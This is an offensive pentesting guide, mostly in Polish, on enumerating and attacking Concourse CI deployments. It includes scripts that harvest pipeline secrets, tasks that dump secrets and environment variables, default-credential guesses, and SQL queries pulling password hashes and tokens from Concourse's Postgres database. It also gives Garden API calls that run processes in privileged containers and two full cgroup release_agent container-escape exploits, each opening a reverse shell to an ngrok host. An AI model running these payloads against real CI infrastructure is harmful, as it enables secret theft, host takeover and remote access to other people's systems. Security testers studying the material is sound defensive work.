Concourse Enumeration & Attacks

Concourse Enumeration & Attacks

Support HackTricks

User Roles & Permissions

Concourse ma pięć ról:

  • Concourse Admin: Ta rola jest przyznawana tylko właścicielom głównego zespołu (domyślny początkowy zespół concourse). Administratorzy mogą konfigurować inne zespoły (np.: fly set-team, fly destroy-team...). Uprawnienia tej roli nie mogą być zmieniane przez RBAC.

  • owner: Właściciele zespołów mogą modyfikować wszystko w zespole.

  • member: Członkowie zespołu mogą czytać i pisać w zasobach zespołu, ale nie mogą modyfikować ustawień zespołu.

  • pipeline-operator: Operatorzy pipeline mogą wykonywać operacje na pipeline, takie jak uruchamianie budów i przypinanie zasobów, jednak nie mogą aktualizować konfiguracji pipeline.

  • viewer: Widzowie zespołu mają dostęp "tylko do odczytu" do zespołu i jego pipeline.

Ponadto, uprawnienia ról owner, member, pipeline-operator i viewer mogą być modyfikowane poprzez konfigurację RBAC (konfigurując bardziej szczegółowo ich działania). Przeczytaj więcej na ten temat w: https://concourse-ci.org/user-roles.html

Zauważ, że Concourse grupuje pipeline w zespoły. Dlatego użytkownicy należący do zespołu będą mogli zarządzać tymi pipeline i może istnieć kilka zespołów. Użytkownik może należeć do kilku zespołów i mieć różne uprawnienia w każdym z nich.

Vars & Credential Manager

W konfiguracjach YAML możesz konfigurować wartości używając składni ((_source-name_:_secret-path_._secret-field_)). Z dokumentacji: source-name jest opcjonalny, a jeśli zostanie pominięty, zostanie użyty menedżer poświadczeń w skali klastra, lub wartość może być podana statycznie. Opcjonalne _secret-field_ określa pole w pobranym sekrecie do odczytu. Jeśli zostanie pominięte, menedżer poświadczeń może zdecydować się na odczytanie 'domyślnego pola' z pobranych poświadczeń, jeśli pole istnieje. Ponadto, secret-path i secret-field mogą być otoczone podwójnymi cudzysłowami "...", jeśli zawierają znaki specjalne takie jak . i :. Na przykład, ((source:"my.secret"."field:1")) ustawi secret-path na my.secret i secret-field na field:1.

Static Vars

Statyczne zmienne mogą być określone w krokach zadań:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

Or using the following fly arguments:

  • -v or --var NAME=VALUE ustawia ciąg VALUE jako wartość dla zmiennej NAME.

  • -y or --yaml-var NAME=VALUE analizuje VALUE jako YAML i ustawia go jako wartość dla zmiennej NAME.

  • -i or --instance-var NAME=VALUE analizuje VALUE jako YAML i ustawia go jako wartość dla zmiennej instancji NAME. Zobacz Grouping Pipelines, aby dowiedzieć się więcej o zmiennych instancji.

  • -l or --load-vars-from FILE ładuje FILE, dokument YAML zawierający mapowanie nazw zmiennych na wartości, i ustawia je wszystkie.

Zarządzanie poświadczeniami

Istnieją różne sposoby, w jakie Menadżer Poświadczeń może być określony w potoku, przeczytaj jak w https://concourse-ci.org/creds.html. Ponadto, Concourse obsługuje różne menedżery poświadczeń:

Zauważ, że jeśli masz jakiś rodzaj dostępu do zapisu do Concourse, możesz tworzyć zadania, aby wykradać te sekrety, ponieważ Concourse musi mieć możliwość ich dostępu.

Enumeracja Concourse

Aby enumerować środowisko Concourse, najpierw musisz zgromadzić ważne poświadczenia lub znaleźć uwierzytelniony token, prawdopodobnie w pliku konfiguracyjnym .flyrc.

Logowanie i enumeracja bieżącego użytkownika

  • Aby się zalogować, musisz znać punkt końcowy, nazwę zespołu (domyślnie main) oraz zespół, do którego należy użytkownik:

  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]

  • Uzyskaj skonfigurowane cele:

  • fly targets

  • Sprawdź, czy skonfigurowane połączenie celu jest nadal ważne:

  • fly -t <target> status

  • Uzyskaj rolę użytkownika w odniesieniu do wskazanego celu:

  • fly -t <target> userinfo

Zauważ, że token API jest zapisywany w $HOME/.flyrc domyślnie, przeszukując maszyny, możesz tam znaleźć poświadczenia.

Zespoły i użytkownicy

  • Uzyskaj listę zespołów

  • fly -t <target> teams

  • Uzyskaj role w zespole

  • fly -t <target> get-team -n <team-name>

  • Uzyskaj listę użytkowników

  • fly -t <target> active-users

Potoki

  • Lista potoków:

  • fly -t <target> pipelines -a

  • Uzyskaj yaml potoku (wrażliwe informacje mogą być zawarte w definicji):

  • fly -t <target> get-pipeline -p <pipeline-name>

  • Uzyskaj wszystkie zmienne konfiguracyjne zadeklarowane w potoku

  • for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done

  • Uzyskaj wszystkie nazwy sekretów potoków używanych (jeśli możesz tworzyć/modyfikować zadanie lub przejąć kontener, możesz je wykradać):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Kontenery i Pracownicy

  • Lista pracowników:

  • fly -t <target> workers

  • Lista kontenerów:

  • fly -t <target> containers

  • Lista budów (aby zobaczyć, co jest uruchomione):

  • fly -t <target> builds

Ataki na Concourse

Bruteforce poświadczeń

  • admin:admin

  • test:test

Enumeracja sekretów i parametrów

W poprzedniej sekcji zobaczyliśmy, jak można uzyskać wszystkie nazwy i zmienne sekretów używanych przez pipeline. Zmienne mogą zawierać wrażliwe informacje, a nazwa sekretów będzie przydatna później do próby ich kradzieży.

Sesja wewnątrz uruchomionego lub niedawno uruchomionego kontenera

Jeśli masz wystarczające uprawnienia (rola członka lub wyższa), będziesz mógł wymienić pipeline'y i role i po prostu uzyskać sesję wewnątrz kontenera <pipeline>/<job> używając:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

Z tymi uprawnieniami możesz być w stanie:

  • Kraść sekrety wewnątrz kontenera

  • Spróbować uciec do węzła

  • Enumerować/Abuse endpoint metadanych chmury (z podu i z węzła, jeśli to możliwe)

Tworzenie/Modyfikacja Pipeline

Jeśli masz wystarczające uprawnienia (rola członka lub wyższa) będziesz mógł tworzyć/modyfikować nowe pipeline. Sprawdź ten przykład:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

With the modification/creation of a new pipeline you will be able to:

  • Kraść sekrety (poprzez ich wyświetlanie lub wchodzenie do kontenera i uruchamianie env)

  • Uciec do węzła (dając ci wystarczające uprawnienia - privileged: true)

  • Enumerować/nadużywać metadane chmury endpoint (z podu i z węzła)

  • Usunąć utworzoną pipeline

Wykonaj niestandardowe zadanie

To jest podobne do poprzedniej metody, ale zamiast modyfikować/tworzyć całą nową pipeline, możesz po prostu wykonać niestandardowe zadanie (co prawdopodobnie będzie znacznie bardziej ukryte):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

Ucieczka do węzła z uprzywilejowanego zadania

W poprzednich sekcjach zobaczyliśmy, jak wykonać uprzywilejowane zadanie z concourse. To nie da kontenerowi dokładnie takiego samego dostępu jak flaga uprzywilejowana w kontenerze docker. Na przykład, nie zobaczysz urządzenia systemu plików węzła w /dev, więc ucieczka może być bardziej "skomplikowana".

W poniższym PoC zamierzamy użyć release_agent do ucieczki z pewnymi drobnymi modyfikacjami:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Jak mogłeś zauważyć, to jest po prostu zwykłe wydanie_agenta ucieczki, po prostu modyfikując ścieżkę cmd w węźle

Ucieczka do węzła z kontenera Worker

Zwykła ucieczka wydania_agenta z drobną modyfikacją wystarczy do tego:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Ucieczka do węzła z kontenera Web

Nawet jeśli kontener web ma wyłączone niektóre zabezpieczenia, nie działa jako zwykły kontener z uprawnieniami (na przykład, nie możesz zamontować i zdolności są bardzo ograniczone, więc wszystkie łatwe sposoby na ucieczkę z kontenera są bezużyteczne).

Jednak przechowuje lokalne poświadczenia w postaci czystego tekstu:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Możesz użyć tych poświadczeń do logowania się do serwera webowego i utworzenia uprzywilejowanego kontenera oraz ucieczki do węzła.

W środowisku możesz również znaleźć informacje do dostępu do instancji postgresql, z której korzysta concourse (adres, nazwa użytkownika, hasło i baza danych, między innymi):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Wykorzystywanie usługi Garden - Nie jest to prawdziwy atak

To tylko kilka interesujących uwag na temat usługi, ale ponieważ nasłuchuje ona tylko na localhost, te uwagi nie będą miały żadnego wpływu, którego wcześniej nie wykorzystaliśmy.

Domyślnie każdy pracownik concourse będzie uruchamiał usługę Garden na porcie 7777. Usługa ta jest używana przez mistrza sieci do wskazania pracownikowi czego potrzebuje do wykonania (pobranie obrazu i uruchomienie każdego zadania). To brzmi całkiem dobrze dla atakującego, ale istnieje kilka dobrych zabezpieczeń:

  • Jest ekspozycja lokalna (127..0.0.1) i myślę, że gdy pracownik uwierzytelni się w sieci za pomocą specjalnej usługi SSH, tworzony jest tunel, aby serwer webowy mógł rozmawiać z każdą usługą Garden wewnątrz każdego pracownika.

  • Serwer webowy monitoruje działające kontenery co kilka sekund, a nieoczekiwane kontenery są usuwane. Więc jeśli chcesz uruchomić niestandardowy kontener, musisz manipulować komunikacją między serwerem webowym a usługą garden.

Pracownicy concourse działają z wysokimi uprawnieniami kontenera:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

Jednak techniki takie jak montowanie urządzenia /dev w węźle lub release_agent nie zadziałają (ponieważ prawdziwe urządzenie z systemem plików węzła nie jest dostępne, tylko wirtualne). Nie możemy uzyskać dostępu do procesów węzła, więc ucieczka z węzła bez exploitów jądra staje się skomplikowana.

W poprzedniej sekcji zobaczyliśmy, jak uciec z uprzywilejowanego kontenera, więc jeśli możemy wykonywać polecenia w uprzywilejowanym kontenerze utworzonym przez aktualnego pracownika, moglibyśmy uciec do węzła.

Zauważ, że bawiąc się z concourse, zauważyłem, że gdy nowy kontener jest uruchamiany do wykonania czegoś, procesy kontenera są dostępne z kontenera pracownika, więc to jak kontener tworzący nowy kontener wewnątrz siebie.

Dostanie się do działającego uprzywilejowanego kontenera

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Tworzenie nowego uprzywilejowanego kontenera

Możesz bardzo łatwo stworzyć nowy kontener (po prostu uruchom losowy UID) i wykonać na nim coś:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

Jednak serwer webowy sprawdza co kilka sekund działające kontenery, a jeśli zostanie odkryty niespodziewany, zostanie on usunięty. Ponieważ komunikacja odbywa się w HTTP, możesz manipulować komunikacją, aby uniknąć usunięcia niespodziewanych kontenerów:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Odniesienia

  • https://concourse-ci.org/vars.html

Wsparcie HackTricks

Last updated